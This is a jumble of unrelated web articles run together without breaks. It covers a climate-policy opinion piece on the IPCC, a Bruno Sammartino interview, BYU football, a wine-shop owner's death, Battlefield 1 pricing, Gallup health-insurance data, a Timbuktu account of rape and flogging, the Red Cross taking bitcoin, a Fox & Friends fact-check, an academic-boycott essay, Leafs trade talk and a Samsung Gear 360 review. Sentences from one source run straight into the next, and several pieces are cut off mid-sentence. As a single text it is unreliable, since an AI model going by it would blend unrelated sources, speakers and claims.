Professor Tol, the lead co-ordinating author of the report’s chapter on economics [i.e. the Working Group II report that just came out—RPM], was involved in drafting the summary for policymakers – the key document that goes to governments and scientists. But he has now asked for his name to be removed from the document. He said: ‘The message in the first draft was that through adaptation and clever development these were manageable risks, but it did require we get our act together. ‘This has completely disappeared from the draft now, which is all about the impacts of climate change and the four horsemen of the apocalypse. This is a missed opportunity.’
Conclusion
The latest IPCC report on the impacts of climate change—and various possible government policies to address it—is a huge issue that we will cover in several future posts. But for now, the big-picture takeaway is that the case for alarmism is collapsing. According to the IPCC’s own numbers, the likely damages from climate change through the end of the century are entirely manageable, and moreover are lower than reputable estimates of the costs of mitigation strategies. Regardless of how the media try to spin things, the case for “wait for now, and re-evaluate in a few years” keeps getting stronger. The teams in charge of writing the Summary for Policymakers have to bend over backwards to undercut these quite optimistic results that, in a sane world, would be the headline grabbers.
The case for taking drastic government actions, and thereby imposing very real and immediate costs on the economy, gets weaker and weaker, as even the “official” reports can’t help but admit to those who know how to read them. In order to offset this inconvenient truth, the latest IPCC Working Group II report discusses patterns in extreme weather events that might happen, even though the IPCC Working Group I report from last fall itself says they haven’t happened yet and we have no reason to expect them. But don’t expect the major media to pick up on such nuances.You love the ocean as much as we do, and we can’t protect it without you.
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I don’t know what the law is on that Eric. I really don’t know if they could do it, they probably could but I don’t know. That’s something that I’d have to look into because honestly I don’t know if there’s such a law that says they can or they cannot. I don’t know.
Eric Gargiulo- How different do you think things would be if Vince McMahon Senior were still alive?
Bruno Sammartino –If he (Vince Jr.) ran the wrestling like his father ran it, if any way I could contribute, help out, whatever possible way I could help out with new talent or whatever, I absolutely would. But with the way it is today, I would not get involved in any way, shape, or form because I don’t believe in it and after all, you know you can’t just get into something for the payday, you have to get into it because you believe in it and you feel comfortable being in it and so forth. If wrestling was the way it were in my day, any contribution I could make and any way I could participate to help in any way, shape, or form absolutely I would.
Eric Gargiulo- Do you ever watch MMA or the Ultimate Fighting Championship?
Bruno Sammartino –I’ll be honest with you. I’ve only seen it maybe once or twice. I’m not real familiar with it, I hear a lot about it, I hear that it’s growing tremendously. I hear that they do very well pay-per-view wise and these people are obviously very talented. From what I understand it’s growing, getting bigger all of the time, so it must be something I guess I’ll have to tune in a little more and learn more about it. It’s a tough sport from everything that I hear about it.
Eric Gargiulo- How is David doing? Do your grandchildren watch wrestling?
Bruno Sammartino –Well I have three sons, I don’t know if people realize that and one of my sons Darryl has a son, his name is Bruno Sammartino II. My other son Danny has two boys Anthony and Vincent and David’s got a girl named Ashley. Now David lives in Georgia because that’s where his home is. He married a girl from Georgia many years ago, he’s a personal trainer now, I don’t know if he watches wrestling much but I can tell you this of my other two sons. They don’t let their children watch wrestling and by the way, they both wrestled. Darryl wrestled not only in high school but in college, Danny wrestled in high school but they never thought of going professional and no, they don’t allow their kids to watch the present day wrestling.
Listen to a collection of full Bruno Sammartino interviews, including this one on ProWrestlingRadio.com
Check out a different Bruno Sammartino Interview on YouTube.com – http://www.youtube.com/watch?v=Xfgw69JBUdY
Check out the collectible WWE Classic Superstars Series 10 Bruno Sammartino Action Figure.
See Bruno Sammartino vs. Superstar Graham and Killer Kowalski on the WWE – The History of the WWE Championship DVD.
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Eric G. Eric is the owner and editor-in-chief of the Camel Clutch Blog. Eric has worked in the pro wrestling industry since 1995 as a ring announcer in ECW and a commentator/host on television, PPV, and home video. Eric also hosted Pro Wrestling Radio on terrestrial radio from 1998-2009. Check out some of Eric's work on his IMDB bio and Wikipedia. Eric has an MBA from Temple University's Fox School of Business. More Posts - Website Follow Me:Over the weekend BYU freshman wide receiver Josh Weeks posted this tweet to his twitter feed:
Nothing special, but I am only 2 weeks outta surgery! Who’d be down to see a #BYUfootball dunk contest? pic.twitter.com/PoG8tBCRPX — Josh Weeks (@allthehype928) April 18, 2015
I guess the rehab following his foot surgery to repair a small fracture has gone well. It also looks like the mission rust is coming off. Weeks is a record breaking receiver out of Arizona that will play his first down of D1 football in the fall… but fresh off basketball season I’m with him–a BYU football slam dunk contest would be awesome. The front runner for the contest would surely be Mitch Mathews, whose tweet from a week ago shows dunking skills slightly more impressive than his teammate:
Of course all this dunking business is nothing new for Mathews who was spotlighted in last year’s boom shakalaka for the basketball team.
Wide Receivers most likely to dominate the dunk contest
So what do we have to do to get this dunk contest on the books? As a position group I think the wide receivers would run away with it. Consider the following: as a group of 19 roster receivers at least six of them played on their varsity high school basketball teams.
As four year varsity basketball starter at Show Low High School, 6’4″ Josh Weeks averaged 11.3 points, 8.5 rebounds, and 1.8 blocks per game. Clearly he has hops. His football game isn’t too shabby either. Many consider him the best wide receiver to ever come out of the state of Arizona and he has a few records to back that up (most career receptions and yardage).
Mitch Mathews is a towering 6’6″ receiver, but he actually never suited up for the high school basketball team. Instead he was a star baseball player who represented Oregon on the Junior Olympic 16-under baseball team as a first baseman.
And that’s not the end of the non-basketball talent making up this years receiving corp. Other high school basketball players include:
6’4″ senior Terenn Houk played two years of high school basketball, averaging 9.0 points, 6.1 rebounds, 3.7 assists, and 2.2 steals per game his senior year.
6’3″ Junior Travis Frey played one season of varsity basketball at Viewmont High School and was named to the All-Region first team.
6’1″ senior Kurt Henderson competed in both baseball and basketball at Snow Canyon High School. In baseball he was on the 2007 state title team and was named an all-state honorable mention.
He didn’t play high school basketball ball but when 6’6″ Nick Kurtz started his football playing career at Grossmont College he “thought about playing basketball but realized that I’d miss playing football so I didn’t go that direction.”
Freshman Rickey Shumway (6’3″) played guard for three seasons for the Timpview basketball team, averaging 11.0 points his senior year, when he was made an all-region selection.
And although not technically a wide receiver here’s a video of 6’7″ tight end Colby Jorgensen dunking in high school (thanks bybloo). Jorgensen started on Timpview’s 2010 state championship basketball team.
What About Baseball?
While we’re at it the wide receiving corp should also put together an intramural baseball team. They’ve got a great core to start with in Travis Frey, Kurt Henderson, Mitchell Juergens, David Kessler, Elliot Knox, and Jake Ziolkowski–all of whom played high school baseball (and several of whom were good enough to get baseball scholarship offers):
David Kessler was a star baseball player at Claremont High School, recruited to play at Stanford, Oregon, and ASU. He was a three time all-league player and the son of a professional baseball player.
Junior Mitchell Juergens was a three year letterman in baseball and named to the second team all-district as an outfielder in 2009.
Junior Elliot Knox played 2B and pitcher for two years at Snow Canyon High School before playing football for Dixie State, ASU, and now the Cougars.
Junior Jake Ziolkowski played baseball for Wauconda High School in Illinois before walking on to the BYU football team.
Other Athletes
And if that’s not enough the receivers have a few other “athletes” covering various other sports:
Standout senior receiver Devon Blackmon was a star hurdler (110m) in High School, advancing to the CIF State finals his junior and senior seasons and winning a league title in 2008 with a time of 13.92.
Freshman Zach Saunders went to Lone Peak so he should do well on the basketball court right? Actually, he was also a track star… a three-time letter winner with at state championship in the 2011 medley relay and named to the all-state track team in 2012.
Junior DJ Doman was a three-time track and one-time wrestling letter winner at Pleasant Grove High School, winning the region title in the 100m both his junior and senior seasons.
Freshman Jared Kapisi played football, soccer, and ran track at Maui High School.
All said, this might be the most athletic group of receivers ever assembled at BYU. And it is very likely the tallest group of receivers, at least in the two-deep. So what do we have to do to get a dunk contest going?
GET THE NEWSLETTER I agree to have my personal information transfered to MailChimp ( I agree to have my personal information transfered to MailChimp ( more information Sign up for the newsletter to get advance resources related to BYU football & basketball. This includes early drafts of Pro Guides, recruiting analysis, and more. I hate spam. Your email address will not be sold or shared with anyone else. And I hate to spam. You'll only get emails when I have new products (e.g. resource guides) or anyalysis to share.ATWATER VILLAGE — After much work and effort, John Wolfenden celebrated the opening of his new Glendale Boulevard wine shop last Wednesday with champagne. “It was great,” said Cheryl, a clerk at Oeno Vino. But a day later, Wolfenden’s employees, family and friends were stunned to hear that Atwater’s newest business owner had been found dead.
It’s not clear what caused Wolfenden’s death. A Go Fund Me fundraiser page set up by some of his acquaintances said that his wife, Suzanne Zizzi, found him unresponsive on Thursday, June 23. The couple have two young daughters, according to the Go Fund Me site. No further details were available.
Wolfenden opened Oeno Vino in the former 55 Degree Wine shop space, which is located in a small Atwater Village shopping center. The store focuses on wine and beer produced in small batches.
Cheryl, along with other employees and wine broker Casey O’Brien, are keeping the wine shop open. On Sunday, they tended to customers in the narrow store, which has a downstairs tasting room. “We will take care of things for now,” said Cheryl, who did not want her last name published. Said O’Brien, “We’re more than happy to pitch in.”
O’Brien said he had met Wolfenden only a few months earlier as preparations were being made to open the store. It did not appear that Wolfenden had owned a wine shop before.
This coming Friday, Oeno Vino will hold tasting and tours as part of an event to introduce Wolfenden’s wine shop to the community, O’Brien said.
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The Eastsider’s Daily email digest includes all new content published on The Eastsider during the last 24 hours. Expect the digest to land in your in email in box around 7 p.m. It’s free to sign up! The Eastsider’s Daily email digest includes all new content published on The Eastsider during the last 24 hours. Expect the digest to land in your in email in box around 7 p.m. It’s free to sign up! Once you submit your information, please check your email box to confirm your subscription.A serious tool for programmers and web developers, no other text editor comes close to Vim for speed and efficiency. Make Vim the centerpiece of a Unix-based IDE as you discover new ways to work with Vim 8 and Neovim in 28 hands-on tips.
Execute tasks asynchronously, allowing you to continue in Vim while linting, grepping, building a project, or running a test suite. Install plugins to be loaded on startup—or on-demand when you need them—with Vim 8’s new package support. Save and restore sessions, enabling you to quit Vim and restart again while preserving your window layout and undo history. Use Neovim as a drop-in replacement for Vim—it supports all of the features Vim 8 offers and more, including an integrated terminal that lets you quickly perform interactive commands. And if you enjoy using tmux and Vim together, you’ll love Neovim’s terminal emulator, which lets you run an interactive shell in a buffer. The terminal buffers fit naturally with Vim’s split windows, and you can use Normal mode commands to scroll, search, copy, and paste. On top of all that: Neovim’s terminal buffers are scriptable.
With Vim at the core of your development environment, you’ll become a faster and more efficient developer.If you happened to pre-order Battlefield 1 on Pc just a few days ago, you’d have managed to grab it at a reasonable R699. Today? The very same game has shot up to R999 on EA’s own origin store. This brings its digital pricing in line with the sort of prices you’d find for most current games at retail.
The Premium Pass we told you about not long ago? It was R499 on Origin then. The same pass will now cost you R799. The ultimate edition, which packs in everything and the kitchen sink? An eye-watering R1899.
What the hell happened? And why are these games suddenly so expensive? Don’t be too surprised. We told you this sort of thing would be happening months ago, when a brouhaha erupted over the disparity between Call of Duty: Infinite Warfare’s pricing and Battlefield 1’s.
As we explained back then, our pricing – based on European pricing – was largely set to the wrong conversions. Some publishers, like Activision, corrected their conversions earlier. We expected others to start following suit. EA now has.
“So ignore all the points about shipping, distribution and retail costs locally, and realise that we are still, somehow, getting games cheaper than the regions we are being supplied from. The disparity then between our current Battlefield 1 price (which hovers just below R800) and what it should realistically be is simple. Some publishers simply haven’t updated their conversions yet, and aren’t as frequent with checking them – unlike Activision, for example. It’s creating a disparity in pricing that’s creating a very unstable local market – and it’s something that needs remedy. It explains then why Call of Duty: Infinite Warfare is, relatively, so expensive. Not because Activision is charging more to bring games into the country, but rather that they are one of the few reflecting the true price of games today. It doesn’t mean that it’ll drop, but rather that you can expect other titles to start seeing major increases in cost very soon. As soon as those databases and conversions update, most games will start lying beyond the R1000 mark – and if the same care is attended to them as it is now, they’ll stay that way for some time. Right now, it’s a win for consumers as they’re able to get some games for cheaper than they’re supposed to be – just don’t expect it to last for too much longer.”
It didn’t last. Of course, with our currency doing a little better, we can expect those prices to start dropping again – but not in the short term. It takes a long time for those gains to catch up, thanks to all sorts of issues that arise with currency conversions and importing. It may also not happen. Because our currency is very unstable at the moment. If it stays where it is now, or improves over the next while, expect a decrease in what you pay for games.
In the short term? I’m afraid we’re all going to have to cough up. It’s a bitter pill to swallow for sure, especially as Battlefield 1 was advertised at the lower price.
Last Updated:WASHINGTON, D.C. -- The percentage of American adults who get their health insurance from an employer continues to decline, falling to 44.5% in the third quarter of this year. This percentage has been steadily declining since Gallup and Healthways started tracking Americans' health insurance sources in 2008.
At least 45% of Americans got their health insurance from an employer in every month in 2010, compared with more than 46% in 2009 and more than 48% in 2008. Initially, the percentage reporting they have employer-based health insurance seemed to be decreasing as unemployment and underemployment increased. However, it is likely that other factors -- including fewer employers offering health insurance -- are also contributing to this trend.
The percentage of adults with no health insurance has been increasing in 2011, with the 17.3% who were uninsured last quarter statistically tying the second quarter of this year for the highest on record. The increase in the percentage of uninsured Americans in the second quarter of 2011 coincides with Gallup's decision to include surveying more cell phone-only respondents in the U.S. beginning April 1. Thus, some of the increase in the uninsured could reflect the greater representation of cell phone-only respondents -- who tend to be younger (young adults are more likely to be uninsured) -- in Gallup samples.
While the percentage of 18- to 26-year-olds who lack health insurance has declined, there has been an increase among 25- to- 64-year-olds -- who make up a much larger segment of the population -- without health insurance. Young adults are likely benefiting from the provision in the new healthcare law that lets them stay on their parents' health plans until age 26. However, none of the other components of the health law that have already been implemented -- tax credits to help small businesses provide health insurance to their employees and the establishment of a Pre-Existing Condition Insurance Plan among several others -- appear to be affecting coverage for older adults.
Gallup initially found an increase in the percentage of Americans who were uninsured in the fourth quarter of 2008, as the effects of the financial crisis took hold and unemployment began to rise. Since then, the uninsured rate has remained elevated.
The percentage of Americans who get their health insurance from the government -- Medicare, Medicaid, or military/veterans' benefits -- declined somewhat in the second and third quarters of 2011, after increasing through most of 2010 and in the first quarter of this year. However, the percentage of Americans with government health insurance remains significantly higher than in 2008. The increase in government health insurance has occurred in tandem with the increasing percentage of Americans without health insurance and the decreasing percentage who get coverage from their employer.
Bottom Line
The health insurance system in the United States is experiencing numerous changes. Governments and businesses have and will continue to cut back and/or reform their health coverage offerings to handle tough economic circumstances, rising healthcare costs, and requirements of the Affordable Care Act.
The nation's largest private employer, Wal-Mart, announced in October that new part-time employees who work less than an average of 24 hours a week would no longer be able to get their health insurance from the company. Wal-Mart laid out several other cuts to its health insurance offerings, including some workers' ability get coverage for their spouses. Other companies have already made and will likely continue to make similar changes to their health insurance benefits.
Employer-based health insurance has declined since 2008, falling from 49.8% in the first quarter of that year to 44.5% in the third quarter of 2011. If Wal-Mart's decision is a precursor of how employers intend to manage their healthcare costs, the downward trend in employer-based healthcare will likely continue.
At the same time, the percentage of Americans who are uninsured is on the rise again after remaining fairly steady throughout 2010. If more employers stop offering health insurance and the cost of purchasing insurance for individuals remains a barrier, it is possible that the uninsured rate will continue to rise -- at least until additional parts of the 2010 healthcare legislation take effect.
About the Gallup-Healthways Well-Being Index
The Gallup-Healthways Well-Being Index tracks well-being in the U.S., U.K., and Germany and provides best-in-class solutions for a healthier world. To learn more, please visit well-beingindex.com.In other words, it was not only the right thing to do: It was also the politically courageous thing to do. That gives Obama some bragging rights.
This is not to say the auto industry is about to overtake Google as the leader of American industry. Ford makes terrific cars, as it has for some time, and General Motors is now doing the same. (Chrysler? I suspect that's more of a work in progress.) But neither Ford nor GM quite achieves the quality control or reliability of the best Japanese competitors, at least based on the data I’ve seen. And it’s not like the economy in Michigan is strong. Unemployment is still over 9 percent, lower than its been since before Obama took office but still very high. As the same Free Press article notes, the jobs coming back to the auto industry represent but a fraction of those the industry lost in the last decade.
The Free Press article highlights one other potential challenge for the auto industry: Finding skilled workers. Michigan has plenty of people looking for jobs but not, according to the companies, enough people with the right skills:
Thousands of engineers and line workers were laid off in recent years, but many took buyouts and moved out of Michigan. Other available workers often don't have the blend of industrial and mechanical engineering skills that companies seek.
"We're definitely in need of some engineers and are having a difficult time finding the right people out there," said James Voeffray, vice president of sales and marketing for GKN Driveline, which has a research center in Auburn Hills.
Economist Gary Burtless wrote about this very problem a few days ago, in response to the widely read New York Times article about Apple computer and its decision to base iPhone production in China. The American workforce may not be uneducated per se: There are plenty of college graduates looking for work, at least right now. But companies like Apple and the automakers don’t need people with four-year engineering degrees from major universities: They need people with two- and four-year technical degrees from community colleges.
As it happens, the agenda Obama introduced during the State of the Union Tuesday night seeks to address this issue. It includes a plan to link up community colleges with local employers, in order to churn out more graduates who can actually find work. I’m still studying the plan, so I can’t really say yet whether it will help. But it’s interesting – and I wouldn’t be the least bit surprised if we hear more about it from Obama on Friday.Product Description
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Rating: [3 of 5 Stars] Gun is great just not the marked LEO as expectedRating:[3 of 5 Stars]The harsh reality inflicted on the people of Timbuktu by al-Qaeda and its allies is betrayed by the ordeal of Azahara Abdou Maiga.
Five of the Islamists placed a gun to the 20-year-old's head, ordered her to keep silent or be killed, and then raped her one by one.
"I did not cry out," said Miss Maiga. "I just cried inside of me."
For 10 months, Timbuktu endured occupation by al-Qaeda in the Islamic Maghreb (AQIM) and other extremists. This isolated city of 60,000 people in the Saharan wastes of northern Mali was compelled to discover what life would be like under al-Qaeda's rule. As such, Timbuktu became the unlikely test bed for the world that Osama bin Laden's followers wish to create.
That era, which began with AQIM's capture of the city last March, ended a week ago when French paratroopers and helicopter gunships forced them to flee Timbuktu. In the aftermath, the full story of a brutal occupation is now beginning to emerge.
Perhaps inevitably, the women of Timbuktu were singled out for special persecution. Miss Maiga committed two offences in Islamist eyes: she sometimes failed to cover her face when venturing out. Most heinously of all, she carried pictures of Western pop stars, notably Celine Dion, on her mobile phone.
The latter crime was discovered by four Islamist gunmen who stopped her in the street last November. When they saw the offending images, they beat her with a whip made from camel skin.
"I did not count how many times they hit me," she said.
From then on, they kept track of her movements and watched the home that she shares with her parents and siblings.
In late November, she ventured outside to hang some laundry – and a gunman noticed she was apparently unveiled.
She was immediately arrested and taken to a large sand-coloured building in the city centre which AQIM had commandeered as its security headquarters. Timbuktu's police station and military base were both considered too vulnerable, so the Islamists had taken over the local branch of Mali's biggest bank, transforming its rooms into cells and interrogation centres.
Miss Maiga, terrified by the memory of her previous beating, suffered a nervous collapse.
"I had a breakdown. I lost control. There was no one to help me."
She injured herself by kicking a glass door, covering her left leg in jagged cuts. But her guards refused to treat her, leaving her bleeding in a cell overnight.
The following day, she received some basic hospital treatment, before being returned to her cell, unable to walk. When her father came to plead for her release, he was sent away with a warning: "If you come back again, your daughter will stay here for a month and we will beat her every day."
On the fourth night, she was taken from her cell and into a neighbouring room where five men, all with their faces concealed, took it in turns to rape her. "They put a gun at my head and they said 'if you say a word, you will be dead'."
The following morning, they let her go, but the Islamists were not finished with Miss Maiga's family. When AQIM's gunmen fled the French assault a week ago, her half brother, Mustapha, 35, celebrated by shouting "Vive la France!" on a street-corner. A vengeful fighter shot him dead. He left a wife, Zainab, and a four-month-old son, Yusuf.
Near where Mustapha was murdered stands a street market with a cluster of ramshackle stalls. This was AQIM's chosen venue for public punishments.
Salaka Gikai, 25, was accused of consorting with a married man and sentenced to receive 100 lashes. The judge of the Sharia court decided to show clemency by reducing the total to 95.
Miss Gikai was then forced to squat in the dust in the middle of the market while 10 men took turns to flog her with a stick. "Everybody was there: women, children, every kind of people," said Miss Gikai. "I had blood everywhere."
Salaka Gikai was sentenced to receive 100 lashes Photo:Will Wintercross
Today, Miss Gikai and Miss Maiga can leave their homes without fear.
Yet both are indelibly marked by their ordeals. "I will never forget what they did to me," said Miss Gikai.The American Red Cross has announced that it will now accept bitcoin through a partnership with BitPay.
Founded in 1881, the American Red Cross is the official US affiliate of the International Red Cross and Red Crescent movement. The humanitarian organisation provides disaster relief and emergency assistance in the US and posted total operating revenues and expenses of $3.4bn for its fiscal year 2013.
In a statement, BitPay’s non-profit outreach leader Elizabeth Ploshay voiced her belief that the partnership would help showcase the generosity of bitcoin consumers to yet another charitable organisation, and by extension, the US public.
Ploshay, who also holds a board member seat at bitcoin’s chief trade organisation, the Bitcoin Foundation, said:
“Bitcoin users are extremely passionate people who are looking to put their bitcoin towards good causes. I’m sure the community will be excited to have such an established charity to donate to.”
The American Red Cross, in turn, suggested that the move would enable it to reach a new demographic of donors.
“This gives a new generation of supporters the opportunity to help people in need,” Jennifer Niyangoda, executive director of corporate and foundation programs at American Red Cross, said in an official release.
According to its policies, BitPay does not charge payment processing fees to non-profit organisations, a market strategy also embraced by its largest US competitor, Coinbase.
Black Friday participation
Notably, donations can now be made through a dedicated website established by BitPay.
The website asks users to choose their donation amount in their desired currency. Those who make contributions must also provide a full name, email address, physical address and phone number.
BitPay further announced that the American Red Cross would participate in Bitcoin Black Friday, an annual event aiming to highlight shopping opportunities in the bitcoin space.
The American Red Cross will appear on the official Bitcoin Black Friday website, and the official Bitcoin Giving Tuesday website.
With the move, the organisation joins a number of charities that now accept bitcoin through BitPay, including one of America’s most prominent environmental organisations, Greenpeace USA.
Image credit: American Spirit / Shutterstock.comThe hosts of Fox & Friends took advantage of the 11th anniversary of Sept. 11, 2001 on Tuesday to accuse President Obama of forgetting God and not telling Americans to pray for the dead — even though the president had issued a proclamation doing just that only four days earlier.
“Eleven years ago after the attack on America, the president calls for a moment of silence, but he does not call for the word ‘God,'” co-host Gretchen Carlson asserted. “So some people are asking, why is God being left out again?”
“Get this,” co-host Steve Doocy later added. “Does the president of the United States call on people to pray for those lives lost? No, he calls on people to observe a moment of silence and then go out and do some community service. He proclaims today as Patriot Day, a national day of service and remembrance and go perform community service to remember those who lost their lives.”
“He does say at the end of it, that he signs it on the 10th day of September on the year of our Lord 2012,” Carlson noted. “So, God is mentioned there, but no mention of the word God anywhere in his message to the American people.”
As Media Matters pointed out, Obama had followed the tradition of Patriot Day proclamations issued by President George W. Bush, who did not include the word ‘God’ in 2006, 2007 and 2008.
But the hosts of Fox & Friends failed to mention that on Friday, the president had issued another proclamation with the word “God” and declaring “National Days of Prayer” from Sept. 7 through Sept. 9.
“On these days of prayer and remembrance, we mourn again the men, women, and children who were taken from us with terrible swiftness, stand with their friends and family, honor the courageous patriots who responded in our country’s moment of need, and, with God’s grace, rededicate ourselves to a spirit of unity and renewal,” the proclamation said. “On September 11, 2001, in our hour of grief, a Nation came together. No matter where we came from, what God we prayed to, or what race or ethnicity we were, we were united as one American family.”
“NOW, THEREFORE, I, BARACK OBAMA, President of the United States of America, by virtue of the authority vested in me by the Constitution and the laws of the United States, do hereby proclaim Friday, September 7 through Sunday, September 9, 2012, as National Days of Prayer and Remembrance,” the president said. “I ask that the people of the United States honor and remember the victims of September 11, 2001, and their loved ones through prayer, contemplation, memorial services, the visiting of memorials, the ringing of bells, evening candlelight remembrance vigils, and other appropriate ceremonies and activities.”
At the end of Tuesday’s Fox & Friends segment, co-host Brian Kilmeade also observed that no elected officials would be speaking during Tuesday’s 9/11 memorial ceremony.
“I think it’s also good just to keep politics out of this in this election year,” Kilmeade said.
“I think that’s a great idea,” Doocy agreed.
Watch this video from Fox News’ Fox & Friends, broadcast Sept. 11, 2012.The inauguration of President Trump poses a challenge to liberals inside the US and beyond; a truth brought home only too vividly by the introduction of an executive order barring entry to all refugees and any citizens from a list of Muslim-majority countries. There are many ways that the academic community can resist – and is resisting – the illiberal, populist regime represented by Trump’s White House.
But for non-US academics who travel regularly to the US to participate in scholarly meetings, this latest measure presents a dilemma of a very particular kind: should we continue to participate in conferences held in the US which many of our colleagues, including British academics with dual citizenship, may be prevented from attending?
In the age of Trump, why bother teaching students to argue logically? | David Tollerton Read more
This is not an abstract question. I am myself in the process of making a panel submission for a conference to be held in Denver in November. Others already have places confirmed and flights booked for major events taking place in the coming months. Should we change our plans in solidarity with our banned colleagues, or would doing so only isolate US-based scholars whose critical voices are needed now more than ever?
I started a Twitter thread inviting comment on this problem and a lively debate was soon underway. Divergent views were expressed and no consensus emerged, but the exercise helped to clarify some issues with which any politically-engaged scholar appalled by the direction of US policy under Trump must engage.
The crucial question to be answered is: what would such an action achieve? Trump, as several commenters on the thread pointed out, will lose little sleep over a group of liberal academics from Europe boycotting a roundtable on 19th-century literature or contemporary urban architecture. If US scholars find it harder to hold such meetings, or, as result, to sustain networks with overseas colleagues, the action might even be positively damaging. As one tweeter noted, our academic friends in the US “are also going to be at the sharp end of whatever’s coming”.
Others pointed out that academics from countries out of favour with recent administrations (such as Cuba) have frequently struggled to obtain visas, and in this respect, Trump’s new order might be regarded as a dramatic ratcheting up of a discriminatory regime already in place.
“We already exercise mobility in an elitist club,” as one Cambridge-based academic put it.
According to this perspective, the emphasis now, as before, should rest on facilitating the widest possible participation via video-conferencing technologies such as Skype. Others suggested two-site conferences, involving venues inside and outside the US, connected again by video links and live-streaming. Others encouraged all who can afford it to donate to the American Civil Liberties Union, currently leading the fight to challenge the executive order in the courts.
These are all forceful arguments and constructive suggestions. But for some commenters on the Twitter thread, boycotting US-hosted conferences would be an important act of solidarity, not empty symbolism. How can attendance at a meeting from which other scholars are excluded on the basis of an outrageously discriminatory immigration regime be justified?
As one tweeter put it: “Just imagine strolling past those denied entry just because I’m not a Muslim.”
In the words of another: “How can free and open academic enquiry take place when one section of humanity is barred from participation?”
A US-based academic endorsed the boycott option: “I’d miss your company sorely but I feel it would put pressure on universities to make their resistance more than a hashtag.”
Others advocated moving all meetings to other countries, although recognised this would penalise US scholars unable or unwilling to travel for fear that re-entry could be denied.
Travel ban: Trump defends order as dispute over UK visit deepens – as it happened Read more
For some, the decision touches on fundamental questions of personal safety.
“I have a US passport and I’m afraid to go,” tweeted one.
“I know I personally will not be going near the US while this is going on,” was the view of another.
All points of principle aside, this might well be the clinching factor for most of us. As a white, non-Muslim academic with no family links to any of the banned countries, there seems little reason why I should feel especially vulnerable inside Trump’s America. My anxieties certainly pale into insignificance when compared with those of friends and colleagues directly targeted by the executive order. On the other hand, I am a feminist liberal who has made disparaging remarks about the president on social media. Might I, in some Trumpian future, be judged a threat to the Constitution?
I don’t fear for my safety right now, but it seems important to recognise that the |
and the whole “there’s going to be a lot of pain” quote from Mike Babcock and company.
But nothing has made it more obvious than this bit from Damien Cox yesterday
In particular, there’s a widespread belief, as first reported a week ago by Sportsnet’s Elliotte Friedman, that the Leafs are making known their intent to deal Kessel before the draft, which could then trigger other moves.
Friedman’s report last week did mention Kessel being a major topic at the combine, but the urgency on the side of the Leafs was not indicated. Now, it seems like as long as the Leafs get a deal they like – which will have to mostly involve picks in the return – they’ll pull the trigger so they can load up at this year’s draft.
Despite what most say, it shouldn’t be difficult to get a good return for Phil, as noted by Cox.
Kessel, meanwhile, has seven years to go at $8 million per, but even in an off, off season he potted 25 goals. There’s no obvious match here, but lots of teams failed in the playoffs or missed them because they struggled to score and could have interest in the winger.
The St. Louis Blues, Montreal Canadiens, New York Rangers, Nashville Predators, and Winnipeg Jets could all be candidates after their playoff exits. The Minnesota Wild has always seemed like a match for Phil, while the New Jersey Devils, Carolina Hurricanes, and draft hosts Florida Panthers all had issues scoring in the regular season. The only issue for a bunch of these teams is, of course, the cap hit. The Jets would be a great sleeper trading partner for the Leafs – they have two 1sts and a huge arsenal of solid prospects, and Phil is great friends with Blake Wheeler. Plus, they need someone to ostracize now that Evander Kane is gone. Another team that could’ve used Phil’s services? The Boston Bruins, who finished 23rd in scoring this season.
Oh, and Kessel isn’t the only player the Leafs are looking to move.
Bozak and Lupul would be the next two on the list, and if Kessel can’t be moved, they are easier to deal. Lupul has three years left at $5.25 million, Bozak three more at $4.2 million.
I don’t know if Bozak or Lupul is easier to deal than Kessel, but it’s good to know they’re on the list. Those two need to go. It seems like the Leafs intend to trade everyone that can get them a return that helps the rebuild.One of the newest experiments, virtual reality, is a grand one. And as we wait to see if that takes hold, we’re seeing some of the tech that powers VR spawn a more accessible version of the idea: consumer-level cameras that shoot 360-degree video and photos. Samsung’s new Gear 360 is already one of the most recognizable of these cameras, and it’s one of the first from a big company with major imaging resources. Like any tech that tackles a new idea, the camera has its drawbacks. If you’re looking for a tool that will let you experiment in 360 degrees right this moment, the Gear 360 is a good place to start — but only if you’ve already bought into the Samsung ecosystem. Samsung’s counting on this, too; the Gear 360 is inherently more compelling if you already own a Samsung phone and a Gear VR. If you don’t, you can still find ways to enjoy the Gear 360. It’s just going to take a lot more work.
Some of these experiments have stuck, like how we have miniaturized cameras to the point that we can shoot 4K video with our smartphones. Others, like 3D video, have flailed.
Here’s an obvious statement: The shift from film to digital changed the way we take photos and record videos. What’s less obvious about that, or at least easier to forget, is that this shift wasn’t just a one-time thing. Digital photography has given photographers, videographers, and the companies that make the tech the freedom to try out all sorts of new ideas.
First let’s run through the basics. The $349 Gear 360 uses two fisheye lenses on either side of the camera. You can use just one of these lenses if you want — the super-wide view could substitute for the look of an action camera in a pinch, though it doesn’t approach the quality or versatility of a GoPro or one of Sony’s cameras. But the point of the Gear 360 is to shoot with both lenses, and then either use one of Samsung’s newest smartphones or a PC app to stitch the images or videos together. Each lens works with a 15-megapixel sensor, meaning the camera can shoot 30-megapixel 360-degree stills or 3840 x 1920 video. That’s just under true 4K, which puts the Gear 360 near the top of the market in terms of resolution — for example, other 360 cameras, such as the 360fly and Kodak, offer full 4K shooting, while LG’s 360 Cam and Ricoh’s Theta S shoot lower-resolution footage. It’s important to note, though, that 4K here doesn't mean the same as it does when we're talking about regular 4K video. When Samsung and its 360-degree competitors use 4K, the pixels they’re talking about are spread around the entire sphere. At any given time when you’re watching a 360-degree video you’re only looking at a fraction of that full 4K capture, and so the quality of the image that these cameras can record is not on par with traditional digital cameras — not even the ones in your smartphone. Photos look great, videos are just fine With that said, the Gear 360 captures a higher-quality image than most of its competitors. 360fly and Kodak might be able to sneak a few more pixels in, but overall Samsung’s done a good job at balancing all the basics like good color correction and dynamic range. You can certainly see the line where the two images get stitched together, but if you keep your subject more than five feet away it’s easy enough to mitigate. Photos are even better, especially in broad daylight. The only problem there is that your options for sharing 360 photos (like this one) are even more limited than with spherical video. Facebook is your best bet, but they have to live there completely — you can't embed them around the internet like you can with 360 videos. What I liked best about the Gear 360 is how simple it is to operate. There are some settings to play with if you want to fuss around, but you don’t need years of experience to shoot with the Gear 360. A lot of this has to do with the three-button setup: there’s a menu button that cycles through shooting modes and settings, a power button, and a black-and-red record button on top. The shame is that Samsung has put roadblocks in the way that limit the value of the Gear 360's ease of use. The first is that, if you want to use it with a phone, it has to be one of the newer Samsung phones, such as the Galaxy S7 or S7 Edge. You can get by without that but only if you have a PC — Samsung’s desktop software, which lets you stitch and edit the footage, is Windows-only. That pseudo ecosystem lock-in has a few benefits. For one, it’s really easy to view footage that you’ve shot with the Gear 360 on a Gear VR. Second, the camera plays nice with Samsung’s 